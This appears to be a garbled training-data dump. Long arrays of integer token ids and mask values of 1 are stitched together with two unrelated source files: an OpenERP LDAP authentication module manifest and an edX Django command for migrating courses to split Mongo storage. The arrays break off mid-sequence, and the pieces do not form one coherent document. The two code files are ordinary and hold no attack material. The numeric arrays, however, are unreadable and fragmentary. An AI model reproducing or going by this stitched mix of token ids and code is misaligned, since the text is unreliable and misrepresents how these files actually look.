267,
3503,
275,
663,
779,
78,
14,
13777,
367,
302,
315,
6193,
14,
10626,
566,
267,
1420,
275,
663,
8,
2062,
9,
267,
291,
14,
629,
8,
6514,
12,
1420,
9,
339,
347,
702,
3493,
1716,
2714,
8,
277,
12,
6193,
12,
1420,
304,
267,
367,
1022,
12,
373,
315,
1420,
14,
1744,
837,
288,
291,
14,
629,
8,
355,
6193,
14,
15045,
8,
75,
2788,
16,
1055,
22262,
14,
21224,
1872,
12,
373,
9,
339,
347,
702,
28731,
8,
277,
12,
6193,
12,
1420,
304,
267,
291,
14,
629,
8,
409,
8,
73,
14,
22262,
14,
21224,
1872,
367,
284,
315,
6193,
14,
10626,
340,
284,
14,
13777,
508,
283,
3710,
659,
663,
8,
2062,
430,
199,
199,
1371,
3726,
199,
3,
16261,
2455,
199,
1371,
3726,
199,
199,
533,
29988,
21171,
7658,
774,
8,
7658,
1746,
304,
272,
408,
272,
6496,
367,
314,
4721,
13,
1896,
9560,
21171,
4733,
10059,
14,
272,
408,
272,
8187,
275,
283,
9466,
21171,
14,
3603,
7,
339,
347,
511,
63,
13614,
18,
63,
3871,
8,
277,
304,
267,
408,
267,
1379,
314,
5523,
436,
1564,
402,
22295,
4046,
701,
820,
385,
1797,
4964,
18,
7658,
14,
267,
408,
267,
1177,
275,
291,
14,
1258,
14,
362,
2336,
9466,
21171,
15,
13614,
18,
6217,
267,
1382,
275,
19165,
14,
14934,
8,
1310,
14,
1317,
9,
398,
327,
32269,
3238,
2337,
1159,
1454,
413,
658,
13614,
64,
1819,
436,
626,
314,
3211,
267,
327,
30331,
1015,
1990,
2013,
14,
267,
4733,
63,
6086,
275,
1382,
14,
15045,
360,
13614,
358,
267,
291,
14,
629,
8,
552,
8,
3871,
63,
6086,
395,
413,
9,
267,
4733,
275,
4733,
63,
6086,
59,
16,
61,
267,
291,
14,
629,
8,
3871,
14,
12956,
360,
1023,
659,
283,
18,
14,
16,
358,
398,
327,
32269,
3238,
2337,
1159,
1454,
1373,
658,
2775,
64,
1819,
336,
15,
262,
314,
267,
327,
658,
13614,
64,
1819,
14,
267,
15985,
63,
6086,
275,
4733,
14,
15045,
360,
2775,
358,
267,
291,
14,
629,
8,
552,
8,
11984,
63,
6086,
395,
413,
9,
267,
15985,
275,
15985,
63,
6086,
59,
16,
61,
398,
327,
6668,
314,
2061,
1900,
1434,
267,
366,
275,
11855,
14,
1462,
14,
7410,
360,
602,
1959,
602,
267,
634,
3903,
275,
10313,
14,
5339,
28705,
8,
68,
9,
267,
2061,
63,
1506,
63,
602,
275,
18158,
29736,
63,
602,
8,
68,
14,
1814,
8,
9374,
29,
76,
3903,
430,
398,
291,
14,
479,
3493,
6300,
8,
11984,
12,
788,
1213,
297,
283,
1073,
297,
283,
1802,
297,
283,
3671,
297,
283,
2019,
3425,
2506,
297,
283,
1053,
297,
283,
4188,
26,
1073,
297,
283,
12130,
297,
283,
7307,
297,
283,
3710,
1105,
267,
291,
14,
479,
3493,
1716,
2714,
8,
11984,
12,
469,
288,
283,
1213,
356,
283,
5713,
19936,
297,
288,
283,
1802,
356,
283,
33,
1655,
294,
269,
4937,
1369,
402,
3002,
19936,
3130,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
3678,
288,
283,
3671,
356,
283,
287,
297,
288,
283,
2019,
3425,
2506,
356,
2061,
63,
1506,
63,
602,
12,
288,
17384,
4188,
26,
1073,
356,
3260,
288,
283,
12130,
356,
283,
6683,
297,
288,
283,
7307,
356,
283,
7384,
334,
67,
9,
10219,
12,
428,
1183,
25924,
297,
267,
3828,
267,
291,
14,
479,
28731,
8,
11984,
12,
788,
1548,
297,
283,
1176,
1105,
398,
327,
7523,
314,
1564,
402,
314,
3623,
365,
3211,
267,
291,
14,
479,
3493,
1716,
2714,
8,
11984,
12,
469,
288,
283,
1213,
356,
283,
5713,
19936,
297,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
3678,
267,
3828,
398,
327,
2670,
4733,
63,
633,
365,
3032,
267,
291,
14,
629,
8,
288,
15985,
14,
15045,
360,
4188,
26,
1073,
5832,
16,
1055,
12956,
360,
6399,
659,
288,
283,
1014,
921,
2694,
14,
957,
15,
9466,
21171,
15,
13614,
18,
4805,
267,
776,
398,
327,
6668,
314,
7974,
602,
402,
314,
1642,
4733,
1242,
267,
366,
275,
11855,
14,
1462,
14,
362,
8,
2051,
29,
17,
680,
602,
267,
634,
3903,
275,
10313,
14,
5339,
28705,
8,
68,
9,
267,
7974,
63,
602,
275,
18158,
29736,
63,
602,
8,
68,
14,
1814,
8,
9374,
29,
76,
3903,
430,
398,
2974,
275,
15985,
14,
15045,
360,
1053,
358,
267,
291,
14,
629,
8,
552,
8,
1744,
395,
11855,
14,
1462,
14,
835,
1012,
267,
291,
14,
479,
3493,
1716,
2714,
8,
1744,
59,
16,
467,
469,
288,
283,
1213,
356,
283,
5713,
1642,
2397,
297,
288,
283,
1802,
356,
283,
5674,
8639,
1369,
26,
4932,
1642,
2397,
297,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
15,
17,
3678,
288,
283,
9473,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
15,
17,
3678,
288,
283,
5645,
2506,
356,
7974,
63,
602,
12,
288,
283,
2502,
356,
283,
396,
32,
2694,
14,
957,
334,
51,
1183,
25924,
3196,
267,
3828,
267,
291,
14,
479,
28731,
8,
1744,
59,
16,
467,
788,
1548,
297,
283,
4776,
1105,
267,
367,
1242,
315,
2974,
26,
288,
291,
14,
479,
3493,
6300,
8,
1053,
12,
788,
1213,
297,
283,
1073,
297,
283,
1802,
297,
283,
9473,
297,
283,
3710,
297,
283,
5645,
2506,
297,
283,
2502,
1105,
288,
327,
10716,
626,
665,
9473,
30,
1630,
440,
1172,
1263,
283,
374,
2623,
391,
3834,
7,
2225,
288,
291,
14,
7702,
8,
1053,
14,
15045,
8,
355,
283,
9473,
5832,
16,
1055,
2987,
14,
362,
360,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
abenzbiria/clients_odoo
|
addons/auth_ldap/__openerp__.py
|
108
|
4839
|
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
{
'name' : 'Authentication via LDAP',
'version' : '1.0',
'depends' : ['base'],
'images' : ['images/ldap_configuration.jpeg'],
'author' : 'OpenERP SA',
'description': """
Adds support for authentication by LDAP server.
===============================================
This module allows users to login with their LDAP username and password, and
will automatically create OpenERP users for them on the fly.
**Note:** This module only work on servers who have Python's ``ldap`` module installed.
Configuration:
--------------
After installing this module, you need to configure the LDAP parameters in the
Configuration tab of the Company details. Different companies may have different
LDAP servers, as long as they have unique usernames (usernames need to be unique
in OpenERP, even across multiple companies).
Anonymous LDAP binding is also supported (for LDAP servers that allow it), by
simply keeping the LDAP user and password empty in the LDAP configuration.
This does not allow anonymous authentication for users, it is only for the master
LDAP account that is used to verify if a user exists before attempting to
authenticate it.
Securing the connection with STARTTLS is available for LDAP servers supporting
it, by enabling the TLS option in the LDAP configuration.
For further options configuring the LDAP settings, refer to the ldap.conf
manpage: manpage:`ldap.conf(5)`.
Security Considerations:
------------------------
Users' LDAP passwords are never stored in the OpenERP database, the LDAP server
is queried whenever a user needs to be authenticated. No duplication of the
password occurs, and passwords are managed in one place only.
OpenERP does not manage password changes in the LDAP, so any change of password
should be conducted by other means in the LDAP directory directly (for LDAP users).
It is also possible to have local OpenERP users in the database along with
LDAP-authenticated users (the Administrator account is one obvious example).
Here is how it works:
---------------------
* The system first attempts to authenticate users against the local OpenERP
database;
* if this authentication fails (for example because the user has no local
password), the system then attempts to authenticate against LDAP;
As LDAP users have blank passwords by default in the local OpenERP database
(which means no access), the first step always fails and the LDAP server is
queried to do the authentication.
Enabling STARTTLS ensures that the authentication query to the LDAP server is
encrypted.
User Template:
--------------
In the LDAP configuration on the Company form, it is possible to select a *User
Template*. If set, this user will be used as template to create the local users
whenever someone authenticates for the first time via LDAP authentication. This
allows pre-setting the default groups and menus of the first-time users.
**Warning:** if you set a password for the user template, this password will be
assigned as local password for each new LDAP user, effectively setting
a *master password* for these users (until manually changed). You
usually do not want this. One easy way to setup a template user is to
login once with a valid LDAP user, let OpenERP create a blank local
user with the same login (and a blank password), then rename this new
user to a username that does not exist in LDAP, and setup its groups
the way you want.
""",
'website' : 'http://www.openerp.com',
'category' : 'Authentication',
'data' : [
'users_ldap_view.xml',
'user_ldap_installer.xml',
'security/ir.model.access.csv',
],
'auto_install': False,
'installable': True,
'external_dependencies' : {
'python' : ['ldap'],
}
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
91,
272,
283,
354,
7,
520,
283,
10348,
4799,
20717,
297,
272,
283,
1023,
7,
520,
283,
17,
14,
16,
297,
272,
283,
8912,
7,
520,
788,
1095,
995,
272,
283,
4782,
7,
520,
788,
4782,
15,
9642,
63,
4758,
14,
14230,
995,
272,
283,
2502,
7,
520,
283,
25347,
13950,
297,
272,
283,
1802,
356,
408,
199,
14995,
2291,
367,
6299,
701,
20717,
1654,
14,
199,
2486,
16964,
199,
2765,
859,
6127,
4390,
370,
4676,
543,
3932,
20717,
3434,
436,
2505,
12,
436,
199,
14117,
5847,
1218,
7653,
4390,
367,
3062,
641,
314,
23158,
14,
199,
199,
538,
7443,
19003,
961,
859,
1454,
1736,
641,
8037,
3963,
1172,
2018,
1159,
1124,
9642,
1040,
859,
4903,
14,
199,
199,
5688,
26,
199,
10965,
199,
10881,
22200,
642,
859,
12,
1265,
1929,
370,
7908,
314,
20717,
2633,
315,
314,
199,
5688,
5174,
402,
314,
15878,
2436,
14,
18029,
640,
1013,
23461,
1443,
1172,
3365,
199,
19534,
8037,
12,
465,
1846,
465,
2985,
1172,
3747,
922,
1247,
334,
751,
1247,
1929,
370,
506,
3747,
199,
262,
7653,
12,
2755,
9371,
3663,
1013,
23461,
680,
199,
199,
23902,
20717,
11696,
365,
2597,
3748,
334,
509,
20717,
8037,
626,
2040,
652,
395,
701,
199,
11184,
590,
22181,
314,
20717,
922,
436,
2505,
2701,
315,
314,
20717,
2897,
14,
199,
2765,
1630,
440,
2040,
16535,
6299,
367,
4390,
12,
652,
365,
1454,
367,
314,
5288,
199,
19534,
2933,
626,
365,
1202,
370,
4911,
340,
282,
922,
3495,
2544,
19595,
370,
199,
13975,
652,
14,
199,
199,
4933,
4039,
314,
1950,
543,
4384,
689,
1481,
5296,
365,
2808,
367,
20717,
8037,
21038,
199,
390,
12,
701,
29310,
314,
12213,
945,
315,
314,
20717,
2897,
14,
199,
199,
1858,
9848,
1511,
1101,
4039,
314,
20717,
2202,
12,
10618,
370,
314,
13727,
14,
2190,
199,
1237,
1606,
26,
2169,
1606,
1705,
9642,
14,
2190,
8,
21,
20414,
199,
199,
7676,
1448,
2441,
3801,
26,
199,
777,
518,
199,
12117,
7,
20717,
19572,
787,
7078,
5489,
315,
314,
7653,
3050,
12,
314,
20717,
1654,
199,
374,
30081,
18119,
282,
922,
4839,
370,
506,
15082,
14,
3091,
11866,
1863,
402,
314,
199,
2060,
11058,
12,
436,
19572,
787,
12883,
315,
1373,
4192,
1454,
14,
199,
199,
25347,
1630,
440,
9635,
2505,
4493,
315,
314,
20717,
12,
880,
1263,
1570,
402,
2505,
199,
5626,
506,
406,
5905,
471,
701,
1163,
4910,
315,
314,
20717,
2082,
5370,
334,
509,
20717,
4390,
680,
199,
199,
7940,
365,
2597,
3962,
370,
1172,
2257,
7653,
4390,
315,
314,
3050,
3180,
543,
199,
19534,
13,
12177,
4390,
334,
1589,
30660,
2933,
365,
1373,
25259,
2893,
680,
199,
199,
21741,
365,
4212,
652,
5419,
26,
199,
777,
9858,
272,
627,
710,
2656,
1642,
12454,
370,
12895,
4390,
6169,
314,
2257,
7653,
489,
3050,
27,
272,
627,
340,
642,
6299,
6918,
334,
509,
2893,
2952,
314,
922,
965,
949,
2257,
489,
2505,
395,
314,
2656,
2066,
12454,
370,
12895,
6169,
20717,
27,
199,
199,
2822,
20717,
4390,
1172,
4596,
19572,
701,
849,
315,
314,
2257,
7653,
3050,
199,
8,
6777,
4910,
949,
2879,
395,
314,
1642,
3650,
3544,
6918,
436,
314,
20717,
1654,
365,
199,
16891,
5299,
370,
886,
314,
6299,
14,
199,
199,
1327,
14744,
4384,
689,
1481,
5296,
15620,
626,
314,
6299,
1827,
370,
314,
20717,
1654,
365,
199,
15078,
14,
199,
199,
1899,
5458,
26,
199,
10965,
199,
607,
314,
20717,
2897,
641,
314,
15878,
1824,
12,
652,
365,
3962,
370,
3504,
282,
627,
1899,
199,
4231,
4856,
982,
663,
12,
642,
922,
911,
506,
1202,
465,
1978,
370,
1218,
314,
2257,
4390,
199,
6526,
5907,
17122,
28532,
2335,
367,
314,
1642,
900,
4799,
20717,
6299,
14,
961,
199,
24077,
876,
13,
6031,
314,
849,
4652,
436,
27906,
402,
314,
1642,
13,
521,
4390,
14,
199,
199,
538,
3849,
19003,
340,
1265,
663,
282,
2505,
367,
314,
922,
1978,
12,
642,
2505,
911,
506,
268,
7943,
465,
2257,
2505,
367,
1924,
892,
20717,
922,
12,
27881,
4260,
268,
282,
627,
4133,
2505,
10,
367,
3520,
4390,
334,
8111,
10250,
2896,
680,
2047,
268,
9987,
886,
440,
2934,
642,
14,
7309,
8837,
4340,
370,
3272,
282,
1978,
922,
365,
370,
268,
4676,
5403,
543,
282,
1686,
20717,
922,
12,
4691,
7653,
1218,
282,
4596,
2257,
268,
922,
543,
314,
2011,
4676,
334,
460,
282,
4596,
2505,
395,
2066,
11441,
642,
892,
268,
922,
370,
282,
3434,
626,
1630,
440,
2187,
315,
20717,
12,
436,
3272,
2399,
4652,
268,
314,
4340,
1265,
2934,
14,
272,
10327,
272,
283,
7360,
7,
520,
283,
1014,
921,
1544,
14,
11267,
14,
957,
297,
272,
283,
3710,
7,
520,
283,
10348,
297,
272,
283,
576,
7,
520,
359,
267,
283,
3707,
63,
9642,
63,
1345,
14,
1652,
297,
267,
283,
751,
63,
9642,
63,
17047,
14,
1652,
297,
267,
283,
4416,
15,
723,
14,
1238,
14,
2732,
14,
4737,
297,
272,
2156,
272,
283,
2495,
63,
3174,
356,
756,
12,
272,
283,
21762,
356,
715,
12,
272,
283,
5159,
63,
5714,
7,
520,
469
] |
[
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
91,
272,
283,
354,
7,
520,
283,
10348,
4799,
20717,
297,
272,
283,
1023,
7,
520,
283,
17,
14,
16,
297,
272,
283,
8912,
7,
520,
788,
1095,
995,
272,
283,
4782,
7,
520,
788,
4782,
15,
9642,
63,
4758,
14,
14230,
995,
272,
283,
2502,
7,
520,
283,
25347,
13950,
297,
272,
283,
1802,
356,
408,
199,
14995,
2291,
367,
6299,
701,
20717,
1654,
14,
199,
2486,
16964,
199,
2765,
859,
6127,
4390,
370,
4676,
543,
3932,
20717,
3434,
436,
2505,
12,
436,
199,
14117,
5847,
1218,
7653,
4390,
367,
3062,
641,
314,
23158,
14,
199,
199,
538,
7443,
19003,
961,
859,
1454,
1736,
641,
8037,
3963,
1172,
2018,
1159,
1124,
9642,
1040,
859,
4903,
14,
199,
199,
5688,
26,
199,
10965,
199,
10881,
22200,
642,
859,
12,
1265,
1929,
370,
7908,
314,
20717,
2633,
315,
314,
199,
5688,
5174,
402,
314,
15878,
2436,
14,
18029,
640,
1013,
23461,
1443,
1172,
3365,
199,
19534,
8037,
12,
465,
1846,
465,
2985,
1172,
3747,
922,
1247,
334,
751,
1247,
1929,
370,
506,
3747,
199,
262,
7653,
12,
2755,
9371,
3663,
1013,
23461,
680,
199,
199,
23902,
20717,
11696,
365,
2597,
3748,
334,
509,
20717,
8037,
626,
2040,
652,
395,
701,
199,
11184,
590,
22181,
314,
20717,
922,
436,
2505,
2701,
315,
314,
20717,
2897,
14,
199,
2765,
1630,
440,
2040,
16535,
6299,
367,
4390,
12,
652,
365,
1454,
367,
314,
5288,
199,
19534,
2933,
626,
365,
1202,
370,
4911,
340,
282,
922,
3495,
2544,
19595,
370,
199,
13975,
652,
14,
199,
199,
4933,
4039,
314,
1950,
543,
4384,
689,
1481,
5296,
365,
2808,
367,
20717,
8037,
21038,
199,
390,
12,
701,
29310,
314,
12213,
945,
315,
314,
20717,
2897,
14,
199,
199,
1858,
9848,
1511,
1101,
4039,
314,
20717,
2202,
12,
10618,
370,
314,
13727,
14,
2190,
199,
1237,
1606,
26,
2169,
1606,
1705,
9642,
14,
2190,
8,
21,
20414,
199,
199,
7676,
1448,
2441,
3801,
26,
199,
777,
518,
199,
12117,
7,
20717,
19572,
787,
7078,
5489,
315,
314,
7653,
3050,
12,
314,
20717,
1654,
199,
374,
30081,
18119,
282,
922,
4839,
370,
506,
15082,
14,
3091,
11866,
1863,
402,
314,
199,
2060,
11058,
12,
436,
19572,
787,
12883,
315,
1373,
4192,
1454,
14,
199,
199,
25347,
1630,
440,
9635,
2505,
4493,
315,
314,
20717,
12,
880,
1263,
1570,
402,
2505,
199,
5626,
506,
406,
5905,
471,
701,
1163,
4910,
315,
314,
20717,
2082,
5370,
334,
509,
20717,
4390,
680,
199,
199,
7940,
365,
2597,
3962,
370,
1172,
2257,
7653,
4390,
315,
314,
3050,
3180,
543,
199,
19534,
13,
12177,
4390,
334,
1589,
30660,
2933,
365,
1373,
25259,
2893,
680,
199,
199,
21741,
365,
4212,
652,
5419,
26,
199,
777,
9858,
272,
627,
710,
2656,
1642,
12454,
370,
12895,
4390,
6169,
314,
2257,
7653,
489,
3050,
27,
272,
627,
340,
642,
6299,
6918,
334,
509,
2893,
2952,
314,
922,
965,
949,
2257,
489,
2505,
395,
314,
2656,
2066,
12454,
370,
12895,
6169,
20717,
27,
199,
199,
2822,
20717,
4390,
1172,
4596,
19572,
701,
849,
315,
314,
2257,
7653,
3050,
199,
8,
6777,
4910,
949,
2879,
395,
314,
1642,
3650,
3544,
6918,
436,
314,
20717,
1654,
365,
199,
16891,
5299,
370,
886,
314,
6299,
14,
199,
199,
1327,
14744,
4384,
689,
1481,
5296,
15620,
626,
314,
6299,
1827,
370,
314,
20717,
1654,
365,
199,
15078,
14,
199,
199,
1899,
5458,
26,
199,
10965,
199,
607,
314,
20717,
2897,
641,
314,
15878,
1824,
12,
652,
365,
3962,
370,
3504,
282,
627,
1899,
199,
4231,
4856,
982,
663,
12,
642,
922,
911,
506,
1202,
465,
1978,
370,
1218,
314,
2257,
4390,
199,
6526,
5907,
17122,
28532,
2335,
367,
314,
1642,
900,
4799,
20717,
6299,
14,
961,
199,
24077,
876,
13,
6031,
314,
849,
4652,
436,
27906,
402,
314,
1642,
13,
521,
4390,
14,
199,
199,
538,
3849,
19003,
340,
1265,
663,
282,
2505,
367,
314,
922,
1978,
12,
642,
2505,
911,
506,
268,
7943,
465,
2257,
2505,
367,
1924,
892,
20717,
922,
12,
27881,
4260,
268,
282,
627,
4133,
2505,
10,
367,
3520,
4390,
334,
8111,
10250,
2896,
680,
2047,
268,
9987,
886,
440,
2934,
642,
14,
7309,
8837,
4340,
370,
3272,
282,
1978,
922,
365,
370,
268,
4676,
5403,
543,
282,
1686,
20717,
922,
12,
4691,
7653,
1218,
282,
4596,
2257,
268,
922,
543,
314,
2011,
4676,
334,
460,
282,
4596,
2505,
395,
2066,
11441,
642,
892,
268,
922,
370,
282,
3434,
626,
1630,
440,
2187,
315,
20717,
12,
436,
3272,
2399,
4652,
268,
314,
4340,
1265,
2934,
14,
272,
10327,
272,
283,
7360,
7,
520,
283,
1014,
921,
1544,
14,
11267,
14,
957,
297,
272,
283,
3710,
7,
520,
283,
10348,
297,
272,
283,
576,
7,
520,
359,
267,
283,
3707,
63,
9642,
63,
1345,
14,
1652,
297,
267,
283,
751,
63,
9642,
63,
17047,
14,
1652,
297,
267,
283,
4416,
15,
723,
14,
1238,
14,
2732,
14,
4737,
297,
272,
2156,
272,
283,
2495,
63,
3174,
356,
756,
12,
272,
283,
21762,
356,
715,
12,
272,
283,
5159,
63,
5714,
7,
520,
469,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Shrhawk/edx-platform
|
cms/djangoapps/contentstore/management/commands/migrate_to_split.py
|
185
|
2174
|
"""
Django management command to migrate a course from the old Mongo modulestore
to the new split-Mongo modulestore.
"""
from django.core.management.base import BaseCommand, CommandError
from django.contrib.auth.models import User
from xmodule.modulestore.django import modulestore
from xmodule.modulestore.split_migrator import SplitMigrator
from opaque_keys.edx.keys import CourseKey
from opaque_keys import InvalidKeyError
from xmodule.modulestore import ModuleStoreEnum
from contentstore.management.commands.utils import user_from_str
class Command(BaseCommand):
"""
Migrate a course from old-Mongo to split-Mongo. It reuses the old course id except where overridden.
"""
help = "Migrate a course from old-Mongo to split-Mongo. The new org, course, and run will default to the old one unless overridden"
args = "course_key email <new org> <new course> <new run>"
def parse_args(self, *args):
"""
Return a 5-tuple of passed in values for (course_key, user, org, course, run).
"""
if len(args) < 2:
raise CommandError(
"migrate_to_split requires at least two arguments: "
"a course_key and a user identifier (email or ID)"
)
try:
course_key = CourseKey.from_string(args[0])
except InvalidKeyError:
raise CommandError("Invalid location string")
try:
user = user_from_str(args[1])
except User.DoesNotExist:
raise CommandError("No user found identified by {}".format(args[1]))
org = course = run = None
try:
org = args[2]
course = args[3]
run = args[4]
except IndexError:
pass
return course_key, user.id, org, course, run
def handle(self, *args, **options):
course_key, user, org, course, run = self.parse_args(*args)
migrator = SplitMigrator(
source_modulestore=modulestore(),
split_modulestore=modulestore()._get_modulestore_by_type(ModuleStoreEnum.Type.split),
)
migrator.migrate_mongo_course(course_key, user, org, course, run)
|
agpl-3.0
|
[
624,
199,
9323,
10041,
1414,
370,
12810,
282,
2518,
687,
314,
2269,
13503,
10996,
199,
475,
314,
892,
3715,
13,
20393,
10996,
14,
199,
624,
199,
504,
1639,
14,
1018,
14,
8110,
14,
1095,
492,
22239,
12,
14393,
199,
504,
1639,
14,
2828,
14,
1178,
14,
992,
492,
2876,
199,
504,
9872,
14,
10012,
14,
1176,
492,
10996,
199,
504,
9872,
14,
10012,
14,
1294,
63,
4071,
9043,
492,
11740,
19322,
9043,
199,
504,
15058,
63,
1612,
14,
8268,
14,
1612,
492,
22574,
199,
504,
15058,
63,
1612,
492,
6378,
10230,
199,
504,
9872,
14,
10012,
492,
23431,
199,
504,
23061,
14,
8110,
14,
4405,
14,
1208,
492,
922,
63,
504,
63,
495,
421,
199,
533,
5817,
8,
25150,
304,
272,
408,
272,
28195,
1866,
282,
2518,
687,
2269,
13,
20393,
370,
3715,
13,
20393,
